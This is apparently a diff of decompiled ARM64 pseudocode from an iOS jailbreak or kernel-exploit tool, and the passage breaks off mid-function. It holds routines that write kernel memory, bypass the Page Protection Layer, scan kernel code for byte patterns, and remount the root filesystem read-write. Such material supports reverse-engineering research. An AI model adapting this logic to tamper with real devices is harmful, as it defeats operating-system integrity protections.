CFTypeID v11; // x22 + CFTypeID v12; // x22 + CFIndex Count; // x22 + void (__cdecl *v14)(const void *, void *); // x0 + CFIndex v15; // x21 + void (__cdecl *v16)(const void *, void *); // x0 + int v17; // w8 + void *value; // [xsp+8h] [xbp-48h] BYREF + int context; // [xsp+10h] [xbp-40h] BYREF + void *v20; // [xsp+18h] [xbp-38h] + CFRange v21; // 0:x1.16 + CFRange v22; // 0:x1.16 + + if ( !a3 || *(_DWORD *)a3 ) + return; + if ( !a1 || !cf ) + { + v17 = 0xAD001; +LABEL_22: + *(_DWORD *)a3 = v17; + return; + } + v6 = CFGetTypeID(cf); + if ( CFStringGetTypeID() != v6 && CFArrayGetTypeID() != v6 && CFBooleanGetTypeID() != v6 && CFNumberGetTypeID() != v6 ) + goto LABEL_21; + value = 0LL; + if ( !CFDictionaryGetValueIfPresent(*(CFDictionaryRef *)(a3 + 8), a1, (const void **)&value) ) + goto LABEL_19; + v7 = CFGetTypeID(value); + if ( CFGetTypeID(cf) != v7 ) + { +LABEL_21: + v17 = 0xAD014; + goto LABEL_22; + } + if ( CFArrayGetTypeID() == v7 ) + { + v8 = 0xAD001; + v9 = value; + if ( value ) + { + v10 = CFGetTypeID(value); + if ( v10 == CFArrayGetTypeID() ) + { + v11 = CFGetTypeID(cf); + if ( v11 == CFArrayGetTypeID() ) + { + v12 = CFGetTypeID(cf); + if ( v12 == CFArrayGetTypeID() ) + { + LOBYTE(context) = 1; + Count = CFArrayGetCount((CFArrayRef)cf); + v14 = (void (__cdecl *)(const void *, void *))nullsub_1(sub_12E48); + v21.location = 0LL; + v21.length = Count; + CFArrayApplyFunction((CFArrayRef)cf, v21, v14, &context); + if ( (_BYTE)context ) + { + context = 0; + v20 = v9; + v15 = CFArrayGetCount((CFArrayRef)cf); + v16 = (void (__cdecl *)(const void *, void *))nullsub_1(sub_12DB0); + v22.location = 0LL; + v22.length = v15; + CFArrayApplyFunction((CFArrayRef)cf, v22, v16, &context); + v8 = context; + } + else + { + v8 = 0xAD014; + } + } + } + } + } + *(_DWORD *)a3 = v8; + return; + } +LABEL_19: + if ( !*(_DWORD *)a3 ) + CFDictionarySetValue(*(CFMutableDictionaryRef *)(a3 + 8), a1, cf); +} +// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); + +//----- (0000000000012BF4) ---------------------------------------------------- +__int64 __fastcall sub_12BF4(const void *a1, const void *a2) +{ + __int64 v2; // x20 + CFTypeID v5; // x22 + CFTypeID v6; // x22 + void (__cdecl *v7)(const void *, const void *, void *); // x0 + unsigned int v9; // [xsp+0h] [xbp-30h] BYREF + const void *v10; // [xsp+8h] [xbp-28h] + + v2 = 0xAD001LL; + if ( a1 ) + { + v5 = CFGetTypeID(a1); + if ( v5 == CFDictionaryGetTypeID() ) + { + if ( a2 ) + { + v6 = CFGetTypeID(a2); + if ( v6 == CFDictionaryGetTypeID() ) + { + v9 = 0; + v10 = a1; + v7 = (void (__cdecl *)(const void *, const void *, void *))nullsub_1(sub_12C98); + CFDictionaryApplyFunction((CFDictionaryRef)a2, v7, &v9); + return v9; + } + } + } + } + return v2; +} +// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); + +//----- (0000000000012C98) ---------------------------------------------------- +void __fastcall sub_12C98(void *key, const __CFArray *a2, __int64 a3) +{ + CFTypeID v5; // x21 + CFIndex Count; // x21 + void (__cdecl *v7)(const void *, void *); // x0 + int v8; // w8 + int context; // [xsp+8h] [xbp-38h] BYREF + void *v10; // [xsp+10h] [xbp-30h] + void *value; // [xsp+18h] [xbp-28h] BYREF + CFRange v12; // 0:x1.16 + + if ( a3 && !*(_DWORD *)a3 ) + { + if ( key && a2 ) + { + value = 0LL; + if ( !CFDictionaryGetValueIfPresent(*(CFDictionaryRef *)(a3 + 8), key, (const void **)&value) ) + { + v8 = 0xAD011; + goto LABEL_14; + } + v5 = CFGetTypeID(value); + if ( CFGetTypeID(a2) == v5 ) + { + if ( CFArrayGetTypeID() == v5 ) + { + context = 0; + v10 = value; + Count = CFArrayGetCount(a2); + v7 = (void (__cdecl *)(const void *, void *))nullsub_1(sub_12E88); + v12.location = 0LL; + v12.length = Count; + CFArrayApplyFunction(a2, v12, v7, &context); + v8 = context; +LABEL_14: + *(_DWORD *)a3 = v8; + return; + } + if ( CFEqual(a2, value) ) + { + *(_DWORD *)a3 = 0; + return; + } + } + v8 = 0xAD014; + goto LABEL_14; + } + v8 = 0xAD001; + goto LABEL_14; + } +} +// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); + +//----- (0000000000012DB0) ---------------------------------------------------- +void __fastcall sub_12DB0(const void *a1, __int64 a2) +{ + const __CFArray *v4; // x21 + __CFArray *v5; // x0 + __int64 vars8; // [xsp+28h] [xbp+8h] + CFRange v7; // 0:x1.16 + + if ( a2 && !*(_DWORD *)a2 ) + { + if ( a1 ) + { + v4 = *(const __CFArray **)(a2 + 8); + v7.length = CFArrayGetCount(v4); + v7.location = 0LL; + if ( !CFArrayContainsValue(v4, v7, a1) ) + { + v5 = *(__CFArray **)(a2 + 8); + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + CFArrayAppendValue(v5, a1); + } + } + else + { + *(_DWORD *)a2 = 0xAD001; + } + } +} +// 12E28: variable 'vars8' is possibly undefined + +//----- (0000000000012E48) ---------------------------------------------------- +const void *__fastcall sub_12E48(const void *result, _BYTE *a2) +{ + CFTypeID v3; // x20 + + if ( a2 ) + { + if ( !result || (v3 = CFGetTypeID(result), result = (const void *)CFStringGetTypeID(), (const void *)v3 != result) ) + *a2 = 0; + } + return result; +} + +//----- (0000000000012E88) ---------------------------------------------------- +const void *__fastcall sub_12E88(const void *result, __int64 a2) +{ + const void *v3; // x20 + int v4; // w22 + const __CFArray *v5; // x21 + CFRange v6; // 0:x1.16 + + if ( a2 && !*(_DWORD *)a2 ) + { + v3 = result; + v4 = 0xAD001; + if ( result ) + { + v5 = *(const __CFArray **)(a2 + 8); + v6.length = CFArrayGetCount(v5); + v6.location = 0LL; + result = (const void *)CFArrayContainsValue(v5, v6, v3); + if ( (_DWORD)result ) + return result; + v4 = 0xAD011; + } + *(_DWORD *)a2 = v4; + } + return result; +} + +//----- (0000000000012EF8) ---------------------------------------------------- +void __fastcall sub_12EF8(__int64 a1) +{ + unsigned __int64 v2; // x8 + unsigned __int64 v3; // x8 + unsigned __int64 v4; // x8 + unsigned __int64 v5; // x8 + __int64 vars8; // [xsp+18h] [xbp+8h] + + if ( krw_ctx_has_flag((_DWORD *)a1, 0x5184000) + && ((v2 = *(_QWORD *)(a1 + 0x158), v2 > 0x2712000C6FFFFFLL) + || v2 > 0x225C23800FFFFFLL && *(int *)(a1 + 0x140) < 0x2712) + || krw_ctx_has_flag((_DWORD *)a1, 0x5100000) + && ((v3 = *(_QWORD *)(a1 + 0x158), v3 > 0x271200073FFFFFLL) + || v3 > 0x225C1E804FFFFFLL && *(int *)(a1 + 0x140) <= 0x2711) ) + { + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + sub_15CC8(a1); + } + else if ( !krw_ctx_has_flag((_DWORD *)a1, 0x5184000) + || (v4 = *(_QWORD *)(a1 + 0x158), v4 <= 0x2712000C6FFFFFLL) + && (v4 <= 0x225C23800FFFFFLL || *(int *)(a1 + 0x140) >= 0x2712) ) + { + if ( !krw_ctx_has_flag((_DWORD *)a1, 0x5100000) + || (v5 = *(_QWORD *)(a1 + 0x158), v5 <= 0x271200073FFFFFLL) + && (v5 <= 0x225C1E804FFFFFLL || *(int *)(a1 + 0x140) >= 0x2712) ) + { + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + nullsub_2(a1); + } + } +} +// 12F90: variable 'vars8' is possibly undefined +// 22D68: using guessed type __int64 __fastcall nullsub_2(_QWORD); + +//----- (000000000001308C) ---------------------------------------------------- +bool __fastcall sub_1308C(_DWORD *a1) +{ + return krw_ctx_has_flag(a1, 0x5184001); +} + +//----- (00000000000130B4) ---------------------------------------------------- +void __fastcall sub_130B4(__int64 a1, unsigned __int64 a2, __int64 a3, __int64 a4) +{ + unsigned __int64 v8; // x24 + unsigned __int64 v9; // x26 + __int64 v10; // x25 + __int64 v11; // x8 + unsigned __int64 v12; // x23 + unsigned __int64 v13; // x26 + __int64 v14; // x28 + int v15; // w0 + bool v16; // cc + unsigned __int64 v17; // x8 + unsigned __int64 v18; // x9 + unsigned __int64 v19; // x10 + int v20; // w9 + __int64 v21; // x0 + __int64 v22; // [xsp+0h] [xbp-70h] BYREF + __int64 v23; // [xsp+8h] [xbp-68h] BYREF + unsigned __int64 v24; // [xsp+10h] [xbp-60h] BYREF + __int64 v25; // [xsp+18h] [xbp-58h] BYREF + + v24 = 0LL; + v25 = 0LL; + v22 = 0LL; + v23 = 0LL; + if ( krw_ctx_has_flag((_DWORD *)a1, 0x5184001) && a2 && a3 && (_DWORD)a4 ) + { + if ( *(_QWORD *)(a1 + 0x158) < 0x1F530000000000uLL ) + { + if ( (unsigned int)sub_1353C(a1, (__int64 *)&v24, (int *)&v23 + 1) ) + { + v8 = v24; + if ( v24 <= a2 ) + { + v9 = a2 + (unsigned int)a4; + v10 = HIDWORD(v23); + if ( v9 <= v24 + HIDWORD(v23) ) + { + if ( (unsigned int)sub_36160(a1, 3u, &v25) ) + { + if ( v25 ) + goto LABEL_13; + v16 = (unsigned int)v10 > 0x8C000 + || (unsigned __int64)(*(_QWORD *)(a1 + 0x158) - 0x18090A07900000LL) > 0xF788FFFFFLL; + v17 = v10 + 8; + if ( !v16 ) + v17 = 0x8C008LL; + v18 = *(unsigned int *)(a1 + 0x180); + v19 = v17 % v18; + v20 = v18 - v17 % v18; + if ( !v19 ) + v20 = 0; + LODWORD(v23) = v17 + v20; + v21 = sub_3796C(a1, &v23); + v25 = v21; + if ( v21 ) + { + if ( (unsigned int)sub_361DC(a1, 3u, v21) ) + { +LABEL_13: + v11 = *(_QWORD *)(a1 + 0x188); + v12 = a2 & ~v11; + v13 = (v9 - 1) & ~v11; + if ( v12 > v13 ) + { +LABEL_19: + kwritebuf_last_1(a1, a2 - v8 + v25, a3, a4); + } + else + { + while ( (unsigned int)kreadbuf_last_1(a1, v25 + v10, 8LL, (__int64)&v22) ) + { + v14 = 1 << ((v12 - v8) >> 0xE); + if ( (v22 & v14) == 0 ) + { + sub_13750(a1, v25 + v12 - v8, v12); + if ( !v15 ) + break; + v22 |= v14; + if ( !(unsigned int)kwritebuf_last_1(a1, v25 + v10, (__int64)&v22, 8LL) ) + break; + } + v12 += *(unsigned int *)(a1 + 0x180); + if ( v12 > v13 ) + goto LABEL_19; + } + } + } + } + } + } + } + } + } + else + { + sub_13304(a1, a2, a3, a4, 0); + } + } +} +// 13224: variable 'v15' is possibly undefined + +//----- (0000000000013304) ---------------------------------------------------- +bool __fastcall sub_13304(__int64 a1, __int64 a2, __int64 a3, __int64 a4, int a5) +{ + int v10; // w0 + __int64 v11; // x8 + unsigned __int64 v12; // x24 + __int64 v13; // x27 + _QWORD *v14; // x8 + __int64 v15; // x9 + __int64 v16; // x10 + __int64 v17; // x1 + __int64 v18; // x0 + __int64 v19; // x26 + __int64 v20; // x8 + unsigned __int64 v21; // x25 + unsigned __int64 v22; // x0 + int v23; // w0 + _BYTE v25[12]; // [xsp+4h] [xbp-5Ch] BYREF + + v10 = sub_251A4(a1, 5u, 0x2710u); + if ( !v10 ) + { + *(_QWORD *)&v25[4] = 0LL; + v11 = *(_QWORD *)(a1 + 0x188); + v12 = a2 & ~v11; + if ( v12 == ((a2 + (unsigned int)a4 - 1) & ~v11) ) + { + if ( *(_QWORD *)(a1 + 0x158) <= 0x1F52FFFFFFFFFFuLL ) + v13 = 0x10LL; + else + v13 = 0x100LL; + v14 = (_QWORD *)(a1 + 0x878); + v15 = v13; + do + { + if ( !*v14 ) + break; + if ( v12 == *v14 ) + { + v16 = v14[0xFFFFFFFF]; + if ( v16 ) + { + v17 = a2 - v12 + v16; +LABEL_30: + if ( (unsigned int)kwrite_something(a1, v17, a3, a4, a5) ) + { + v10 = sub_25164(a1, 5u); + return v10 == 0; + } + goto LABEL_32; + } + } + v14 += 2; + --v15; + } + while ( v15 ); + if ( !(unsigned int)sub_36160(a1, 7u, (__int64 *)&v25[4]) ) + goto LABEL_32; + if ( *(_QWORD *)&v25[4] ) + { + if ( !(unsigned int)kreadbuf_last_1(a1, *(__int64 *)&v25[4], (unsigned int)(0x10 * v13), a1 + 0x870) ) + goto LABEL_32; + } + else + { + *(_QWORD *)v25 = (unsigned int)(0x10 * v13); + v18 = sub_3796C(a1, v25); + *(_QWORD *)&v25[4] = v18; + if ( !v18 || !(unsigned int)sub_361DC(a1, 7u, v18) ) + goto LABEL_32; + bzero((void *)(a1 + 0x870), (unsigned int)(0x10 * v13)); + } + v19 = 0x870LL; + while ( 1 ) + { + v20 = *(_QWORD *)(a1 + v19 + 8); + if ( !v20 ) + break; + if ( v12 == v20 ) + { + v21 = *(_QWORD *)(a1 + v19); + if ( v21 ) + goto LABEL_29; + } + v19 += 0x10LL; + if ( !--v13 ) + goto LABEL_32; + } + *(_DWORD *)v25 = *(_DWORD *)(a1 + 0x180); + v22 = sub_37210(a1, (unsigned int *)v25); + if ( v22 ) + { + if ( *(_DWORD *)v25 == *(_DWORD *)(a1 + 0x180) ) + { + v21 = v22; + sub_13750(a1, v22, v12); + if ( v23 ) + { + *(_QWORD *)(a1 + v19 + 8) = v12; + *(_QWORD *)(a1 + v19) = v21; + if ( (unsigned int)kwritebuf_last_1( + a1, + *(_QWORD *)&v25[4] + ((v19 - 0x870) & 0xFFFFFFFF0LL), + a1 + v19, + 0x10LL) ) + { +LABEL_29: + v17 = a2 - v12 + v21; + goto LABEL_30; + } + } + } + } + } +LABEL_32: + sub_25164(a1, 5u); + v10 = 0xAD00B; + } + return v10 == 0; +} +// 134A0: variable 'v23' is possibly undefined + +//----- (000000000001353C) ---------------------------------------------------- +__int64 __fastcall sub_1353C(__int64 a1, __int64 *a2, int *a3) +{ + __int64 v6; // x22 + int v7; // w8 + __int64 v9; // x0 + int v10; // w8 + int v11; // w9 + char *v13; // x22 + unsigned __int64 v14; // x9 + __int64 v15; // x0 + __int64 v16; // x23 + unsigned __int64 v17; // x0 + unsigned __int64 v18; // x0 + __int64 v19; // x0 + int v20; // w9 + __int128 v21; // [xsp+0h] [xbp-60h] BYREF + unsigned __int64 v22; // [xsp+10h] [xbp-50h] + __int128 v23; // [xsp+18h] [xbp-48h] BYREF + unsigned __int64 v24; // [xsp+28h] [xbp-38h] + + v6 = *(_QWORD *)(a1 + 0x1888); + if ( v6 ) + { + v7 = *(_DWORD *)(a1 + 0x1890); +LABEL_3: + *a2 = v6; + *a3 = v7; + return 1LL; + } + v9 = *(_QWORD *)(a1 + 0x19F8); + v10 = *(_DWORD *)(v9 + 0x70); + if ( v10 > 0x2257 ) + { + if ( v10 != 0x2258 && v10 != 0x225C ) + { + v11 = 0x2712; +LABEL_13: + if ( v10 != v11 ) + { + v13 = 0LL; + goto LABEL_15; + } + } + } + else if ( (unsigned int)(v10 - 0x1F53) >= 2 ) + { + if ( v10 == 0x1809 ) + { + v13 = "1F 01 .. EB 20 91 .. FA .. .. 00 54"; + goto LABEL_15; + } + v11 = 0x1C1B; + goto LABEL_13; + } + v13 = "1F 01 13 EB 20 91 53 FA .. .. 00 54 68 02"; +LABEL_15: + sub_19B98("__PPLTEXT", v9, &v23); + if ( *(_QWORD *)(a1 + 0x158) >= 0x18091980200000uLL && *(int *)(a1 + 0x140) <= 0x1C1A ) + { + if ( !*((_QWORD *)&v23 + 1) ) + return 0LL; + v14 = *(unsigned int *)(a1 + 0x180); + if ( v24 <= v14 ) + return 0LL; + *((_QWORD *)&v23 + 1) += v14; + v24 -= v14; + } + v21 = v23; + v22 = v24; + v15 = kernel_pattern_scan((__int64)&v21, v13, 0); + if ( v15 ) + { + v16 = v15; + v17 = sub_1E854(*(__int64 **)(a1 + 0x19F8), (__int64 *)(v15 - 0x10)); + if ( v17 ) + v6 = sub_19B94(*(_QWORD *)(a1 + 0x19F8), v17); + else + v6 = 0LL; + if ( *(int *)(a1 + 0x140) >= 0x1C1B ) + { + v18 = sub_1E854(*(__int64 **)(a1 + 0x19F8), (__int64 *)(v16 - 8)); + if ( !v18 ) + return 0LL; + v19 = sub_19B94(*(_QWORD *)(a1 + 0x19F8), v18); + if ( !v19 ) + return 0LL; + v7 = v19 - v6; + if ( !v6 ) + return 0LL; +LABEL_31: + v20 = *(_DWORD *)(a1 + 0x140); + if ( v20 <= 0x1C1A ) + { + if ( v20 < 0x1809 ) + { + v7 = 0x90000; + } + else if ( *(_QWORD *)(a1 + 0x158) <= 0x18090A078FFFFFuLL ) + { + v7 = 0x8C000; + } + else + { + v7 = 0x88000; + } + } + *(_QWORD *)(a1 + 0x1888) = v6; + *(_DWORD *)(a1 + 0x1890) = v7; + goto LABEL_3; + } + v7 = 0; + if ( v6 ) + goto LABEL_31; + } + return 0LL; +} +// 19B94: using guessed type __int64 __fastcall sub_19B94(_QWORD, _QWORD); + +//----- (0000000000013750) ---------------------------------------------------- +void __fastcall sub_13750(__int64 a1, unsigned __int64 a2, unsigned __int64 a3) +{ + int v5; // w0 + unsigned __int64 v6; // x21 + int v7; // w0 + __int64 v8; // x20 + unsigned __int64 v9; // x22 + unsigned __int64 v10; // x21 + __int128 v11; // [xsp+0h] [xbp-80h] BYREF + __int128 v12; // [xsp+10h] [xbp-70h] + unsigned __int64 v13; // [xsp+20h] [xbp-60h] + __int128 v14; // [xsp+30h] [xbp-50h] BYREF + __int128 v15; // [xsp+40h] [xbp-40h] + unsigned __int64 v16; // [xsp+50h] [xbp-30h] + + v16 = 0LL; + v14 = 0u; + v15 = 0u; + v13 = 0LL; + v11 = 0u; + v12 = 0u; + sub_2183C(a1, a3, (__int64)&v11); + if ( v5 ) + { + if ( BYTE4(v12) == 3 ) + { + v6 = v13; + sub_2183C(a1, a2, (__int64)&v14); + if ( v7 ) + { + if ( BYTE4(v15) == 3 ) + { + v8 = v14; + v9 = v16; + v10 = v16 & 0xFFFF000000003FFFLL | (((v6 >> 0xE) & 0x3FFFFFFFFLL) << 0xE); + if ( ((unsigned int)v10 == (unsigned int)v16 || sub_13924(a1, v14, v10)) + && (HIDWORD(v9) == HIDWORD(v10) || sub_13924(a1, v8 + 4, SHIDWORD(v10))) ) + { + sub_2AABC(a1, 0x2710u); + } + } + } + } + } +} +// 13794: variable 'v5' is possibly undefined +// 137B8: variable 'v7' is possibly undefined + +//----- (0000000000013844) ---------------------------------------------------- +void __fastcall sub_13844(__int64 a1, unsigned __int64 a2, int a3) +{ + unsigned int v6; // [xsp+Ch] [xbp-34h] BYREF + unsigned __int64 v7; // [xsp+10h] [xbp-30h] BYREF + int v8; // [xsp+1Ch] [xbp-24h] BYREF + __int64 vars8; // [xsp+48h] [xbp+8h] + + v8 = a3; + v7 = 0LL; + v6 = 0; + if ( krw_ctx_has_flag((_DWORD *)a1, 0x5184001) ) + { + if ( *(_QWORD *)(a1 + 0x158) >= 0x1F530000000000uLL ) + goto LABEL_6; + if ( !(unsigned int)sub_1353C(a1, (__int64 *)&v7, (int *)&v6) ) + return; + if ( v7 <= a2 && a2 + 4 <= v7 + v6 ) + { + sub_130B4(a1, a2, (__int64)&v8, 4LL); + } + else + { +LABEL_6: + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + sub_13924(a1, a2, a3); + } + } +} + +//----- (0000000000013924) ---------------------------------------------------- +bool __fastcall sub_13924(__int64 a1, unsigned __int64 a2, int a3) +{ + unsigned __int64 v6; // x8 + unsigned __int64 v7; // x8 + int v8; // w0 + unsigned __int64 v10; // x8 + + if ( krw_ctx_has_flag((_DWORD *)a1, 0x5184000) + && ((v6 = *(_QWORD *)(a1 + 0x158), v6 > 0x2712000C6FFFFFLL) + || v6 > 0x225C23800FFFFFLL && *(int *)(a1 + 0x140) < 0x2712) + || krw_ctx_has_flag((_DWORD *)a1, 0x5100000) + && ((v7 = *(_QWORD *)(a1 + 0x158), v7 > 0x271200073FFFFFLL) + || v7 > 0x225C1E804FFFFFLL && *(int *)(a1 + 0x140) <= 0x2711) ) + { + v8 = sub_15D1C(a1, a2, a3); + return v8 == 0; + } + if ( krw_ctx_has_flag((_DWORD *)a1, 0x5184000) ) + { + v10 = *(_QWORD *)(a1 + 0x158); + if ( v10 > 0x2712000C6FFFFFLL ) + goto LABEL_17; + if ( v10 > 0x225C23800FFFFFLL && *(int *)(a1 + 0x140) < 0x2712 ) + goto LABEL_21; + } + if ( !krw_ctx_has_flag((_DWORD *)a1, 0x5100000) ) + { +LABEL_22: + v8 = kwrite_dmaFail_sub_22D6C((_DWORD *)a1, a2, a3); + return v8 == 0; + } + v10 = *(_QWORD *)(a1 + 0x158); + if ( v10 <= 0x271200073FFFFFLL ) + { + if ( v10 > 0x225C1E804FFFFFLL && *(int *)(a1 + 0x140) < 0x2712 ) + goto LABEL_21; + goto LABEL_22; + } +LABEL_17: + if ( v10 <= 0x27120A807FFFFFLL ) + { +LABEL_21: + v8 = sub_B768(a1, a2, a3); + return v8 == 0; + } + return 0LL; +} + +//----- (0000000000013AE4) ---------------------------------------------------- +__int64 __fastcall ppl_kwritebuf(__int64 a1, unsigned __int64 a2, __int64 a3, int a4) +{ + __int64 v8; // x20 + char v9; // w23 + unsigned int v10; // w26 + __int64 v11; // x25 + unsigned int v12; // w9 + size_t v13; // x24 + unsigned int v14; // w28 + const void *v15; // x26 + int v16; // w0 + vm_address_t address; // [xsp+8h] [xbp-58h] BYREF + + if ( vm_allocate(mach_task_self_, &address, *(unsigned int *)(a1 + 0x180), 1) ) + return 0LL; + v9 = kaddr_need_ppl_bypass(a1, a2); + v10 = 0; + while ( 1 ) + { + v11 = a2 + v10; + v12 = *(_DWORD *)(a1 + 0x180) - (v11 & *(_DWORD *)(a1 + 0x188)); + v13 = a4 - v10 <= v12 ? a4 - v10 : v12; + if ( !(unsigned int)kreadbuf_last_1(a1, a2 + v10, v13, address) ) + break; + v14 = v10; + v15 = (const void *)(a3 + v10); + if ( memcmp((const void *)address, v15, v13) ) + { + ppl_kwritebuf_nocheck(a1, v11, (__int64)v15, v13, v9, 0); + if ( !v16 ) + break; + } + v10 = v13 + v14; + if ( (_DWORD)v13 + v14 == a4 ) + { + v8 = 1LL; + goto LABEL_13; + } + } + v8 = 0LL; +LABEL_13: + vm_deallocate(mach_task_self_, address, *(unsigned int *)(a1 + 0x180)); + return v8; +} +// 13BC4: variable 'v16' is possibly undefined + +//----- (0000000000013C14) ---------------------------------------------------- +bool __fastcall kaddr_need_ppl_bypass(__int64 a1, unsigned __int64 a2) +{ + _BOOL8 result; // x0 + __int64 v5; // x8 + unsigned __int64 v6; // x9 + + result = 1; + if ( !sub_38544(a1, a2, 0LL, a2) ) + { + v5 = *(_QWORD *)(a1 + 0x19F8); + if ( !v5 ) + return 0; + v6 = *(_QWORD *)(v5 + 0xE0); + if ( v6 > a2 || *(_QWORD *)(v5 + 0xE8) + v6 <= a2 ) + return 0; + } + return result; +} + +//----- (0000000000013C78) ---------------------------------------------------- +void __fastcall ppl_kwritebuf_nocheck(__int64 a1, __int64 a2, __int64 a3, __int64 a4, char a5, int a6) +{ + __int64 v10; // x8 + unsigned __int64 v11; // x1 + int v13; // w0 + int v14; // w0 + unsigned __int64 v15; // [xsp+8h] [xbp-58h] BYREF + unsigned __int8 v16; // [xsp+1Ch] [xbp-44h] + __int64 v17; // [xsp+28h] [xbp-38h] + __int64 vars8; // [xsp+68h] [xbp+8h] + + if ( a2 ) + { + if ( a3 ) + { + if ( (_DWORD)a4 ) + { + v10 = *(_QWORD *)(a1 + 0x188); + v11 = a2 & ~v10; + if ( v11 == ((a2 + (unsigned int)a4 - 1) & ~v10) ) + { + if ( (a5 & 1) != 0 ) + { + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + sub_13304(a1, a2, a3, a4, a6); + } + else + { + sub_2183C(a1, v11, (__int64)&v15); + if ( v13 && (v16 | 2) == 3 ) + { + if ( (v17 & 0x80) != 0 ) + { + sub_13844(a1, v15, v17 & 0xFFFFFF7F); + if ( !v14 ) + return; + sub_2AABC(a1, 0x2710u); + } + kwrite_something(a1, a2, a3, a4, a6); + } + } + } + } + } + } +} +// 13D20: variable 'v13' is possibly undefined +// 13D4C: variable 'v14' is possibly undefined + +//----- (0000000000013D9C) ---------------------------------------------------- +void __fastcall sub_13D9C(_DWORD *a1, unsigned __int64 a2, __int64 a3) +{ + char v6; // w0 + __int64 v7; // [xsp+0h] [xbp-30h] BYREF + __int64 v8; // [xsp+8h] [xbp-28h] BYREF + + v8 = a3; + if ( krw_ctx_has_flag(a1, 0x5184001) && (unsigned int)kread64(a1, a2, &v7) && v7 != a3 ) + { + v6 = kaddr_need_ppl_bypass((__int64)a1, a2); + ppl_kwritebuf_nocheck((__int64)a1, a2, (__int64)&v8, (unsigned int)a1[0x5A], v6, 1); + } +} +// 28840: using guessed type __int64 __fastcall kread64(_QWORD, _QWORD, _QWORD); + +//----- (0000000000013E38) ---------------------------------------------------- +__int64 __fastcall kwrite_something(__int64 a1, __int64 a2, __int64 a3, __int64 a4, int a5) +{ + __int64 result; // x0 + + if ( !a5 || *(_DWORD *)(a1 + 0x168) != (_DWORD)a4 ) + { + result = kwritebuf_last_1(a1, a2, a3, a4); + if ( !(_DWORD)result ) + return result; + return 1LL; + } + __memcpy_chk(); + result = kwrite64(a1, a2, 0LL); + if ( (_DWORD)result ) + return 1LL; + return result; +} +// 2A0D0: using guessed type __int64 __fastcall kwrite64(_QWORD, _QWORD, _QWORD); + +//----- (0000000000013EBC) ---------------------------------------------------- +__int64 __fastcall check_rootfs_rw(__int64 a1, int *a2) +{ + const char *v3; // x20 + int v5; // w8 + __int16 v6; // [xsp+Eh] [xbp-8D2h] BYREF + char v7[48]; // [xsp+10h] [xbp-8D0h] BYREF + statfs v8; // [xsp+40h] [xbp-8A0h] BYREF + + bzero(&v8, 0x878uLL); + v6 = 0x2F; + strcpy(v7, "/private/var/MobileSoftwareUpdate/mnt1"); + if ( sub_22CA8(0LL) ) + v3 = v7; + else + v3 = (const char *)&v6; + if ( statfs(v3, &v8) ) + { + if ( *__error() != 2 ) + return 0LL; + } + else if ( !(*(_QWORD *)v8.f_mntfromname ^ 0x7369642F7665642FLL | *(_QWORD *)&v8.f_mntfromname[7] ^ 0x31733173306B73LL) + && !strcmp(v3, v8.f_mntonname) ) + { + v5 = (v8.f_flags & 1) == 0; + goto LABEL_10; + } + v5 = 3; +LABEL_10: + *a2 = v5; + return 1LL; +} + +//----- (0000000000013FF8) ---------------------------------------------------- +bool __fastcall sub_13FF8(__int64 a1, char *a2) +{ + int v3; // w8 + _BOOL8 v4; // x21 + __int64 v5; // x21 + int v6; // w0 + int v7; // w20 + __int64 v8; // x0 + int v10; // [xsp+4h] [xbp-2Ch] BYREF + __int64 v11; // [xsp+8h] [xbp-28h] BYREF + + v10 = 0; + v3 = *(_DWORD *)(a1 + 0x140); + if ( (unsigned int)(v3 - 0x1F53) < 2 ) + { + v5 = 0x260LL; + } + else if ( v3 == 0x1809 ) + { + v5 = 0x208LL; + } + else + { + v4 = 0LL; + if ( v3 != 0x1C1B ) + return v4; + if ( *(_QWORD *)(a1 + 0x158) <= 0x1C1B19145FFFFFuLL ) + v5 = 0x218LL; + else + v5 = 0x200LL; + } + v6 = open(a2, 0x100000); + if ( v6 < 0 ) + return 0LL; + v7 = v6; + v8 = sub_14164((_DWORD *)a1); + v11 = v8; + if ( v8 + && kread64((_DWORD *)a1, v8 + v5, &v11) + && validate_addr(a1, v11) + && kread64((_DWORD *)a1, v11 + 0xE0, &v11) + && validate_addr(a1, v11) + && (unsigned int)kreadbuf_last_1(a1, v11 + 0x30, 4LL, (__int64)&v10) ) + { + v10 &= ~0x4000u; + v4 = (unsigned int)kwritebuf_last_1(a1, v11 + 0x30, (__int64)&v10, 4LL) != 0; + } + else + { + v4 = 0LL; + } + close(v7); + return v4; +} + +//----- (0000000000014164) ---------------------------------------------------- +__int64 __fastcall sub_14164(_DWORD *a1) +{ + int v1; // w8 + __int64 result; // x0 + __int64 v6; // [xsp+8h] [xbp-18h] BYREF + + v1 = a1[0x50]; + if ( (unsigned int)(v1 - 0x1F53) >= 2 && v1 != 0x1C1B && v1 != 0x1809 ) + return 0LL; + result = sub_14CA4(); + if ( !result ) + return result; + v6 = result + 0x8F8; + if ( !kread64(a1, result + 0x8F8, &v6) ) + return 0LL; + if ( validate_addr((__int64)a1, v6) ) + return v6; + return 0LL; +} + +//----- (00000000000141F0) ---------------------------------------------------- +__int64 __fastcall sub_141F0(__int64 a1) +{ + __int64 result; // x0 + unsigned int v3; // w20 + _BOOL4 v4; // w0 + char v6[2]; // [xsp+6h] [xbp-8CAh] BYREF + statfs v7; // [xsp+8h] [xbp-8C8h] BYREF + char v8[40]; // [xsp+880h] [xbp-50h] BYREF + + strcpy(v6, "/"); + strcpy(v8, "/private/var/MobileSoftwareUpdate/mnt1"); + bzero(&v7, 0x878uLL); + if ( statfs(v6, &v7) ) + return 0LL; + result = add_rw_to_disk(a1, v6, "/dev/disk0s1s1"); + if ( (_DWORD)result ) + { + v3 = 0; + do + { + usleep(0x186A0u); + v4 = sub_14444(v8); + if ( !v4 ) + break; + } + while ( v3++ < 0x32 ); + if ( !v4 ) + return 1LL; + add_rw_to_disk(a1, v6, v7.f_mntfromname); + return 0LL; + } + return result; +} + +//----- (00000000000142F8) ---------------------------------------------------- +__int64 __fastcall add_rw_to_disk(__int64 a1, 